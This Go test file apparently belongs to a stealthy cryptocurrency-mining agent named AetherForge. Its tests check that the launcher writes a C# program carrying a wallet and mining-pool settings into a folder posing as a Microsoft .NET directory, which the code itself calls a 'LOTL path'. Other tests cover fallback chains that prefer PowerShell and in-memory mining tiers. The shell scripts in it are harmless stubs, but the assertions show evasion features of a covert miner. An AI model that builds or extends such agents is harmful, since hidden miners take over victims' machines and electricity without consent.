Files
AetherForge/agent/miner/dotnet_launcher_test.go

152 lines
3.6 KiB
Go

package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakeDotnetRecorder(t *testing.T) string {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-dotnet.cmd")
body := `@echo off
if "%1"=="build" exit /b 0
if "%1"=="run" (
ping -n 3 127.0.0.1 >nul
exit /b 0
)
exit /b 0
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat
}
sh := filepath.Join(dir, "fake-dotnet.sh")
body := `#!/bin/sh
case "$1" in
build) exit 0 ;;
run) sleep 1 ;;
esac
exit 0
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh
}
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("dotnet tier is Windows-only")
}
bin := fakeDotnetRecorder(t)
SetDotnetBinPath(bin)
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetDotnetBinPath("")
SetDotnetExecCommand(nil)
}()
t.Setenv("LOCALAPPDATA", t.TempDir())
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "dn-test",
Wallet: "XMR:wallet456",
WorkerName: "worker-dn",
PoolHost: "pool.example.com",
PoolPort: 4444,
PoolTLS: true,
PoolPass: "secret",
},
}
launcher, err := NewDotnetLauncher(cfg)
if err != nil {
t.Fatalf("NewDotnetLauncher: %v", err)
}
if launcher.Toolchain() != "dotnet" {
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
if err != nil {
t.Fatalf("read Program.cs: %v", err)
}
text := string(cs)
if !strings.Contains(text, "XMR:wallet456") {
t.Fatalf("Program.cs missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("Program.cs missing pool host: %s", text)
}
if !strings.Contains(text, "PoolTLS = true") {
t.Fatalf("Program.cs missing TLS flag: %s", text)
}
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
if chain[0] != MethodPowerShell {
t.Fatalf("chain=%v want powershell first", chain)
}
}
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionDotnet,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{})
if chain[0] != MethodDotnet {
t.Fatalf("chain=%v want dotnet first", chain)
}
}
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
Wallet: "w",
PoolHost: "p",
PoolPort: 3333,
},
})
if len(chain) == 0 || chain[0] != TierPSInMemory {
t.Fatalf("chain=%v want ps_inmemory first", chain)
}
}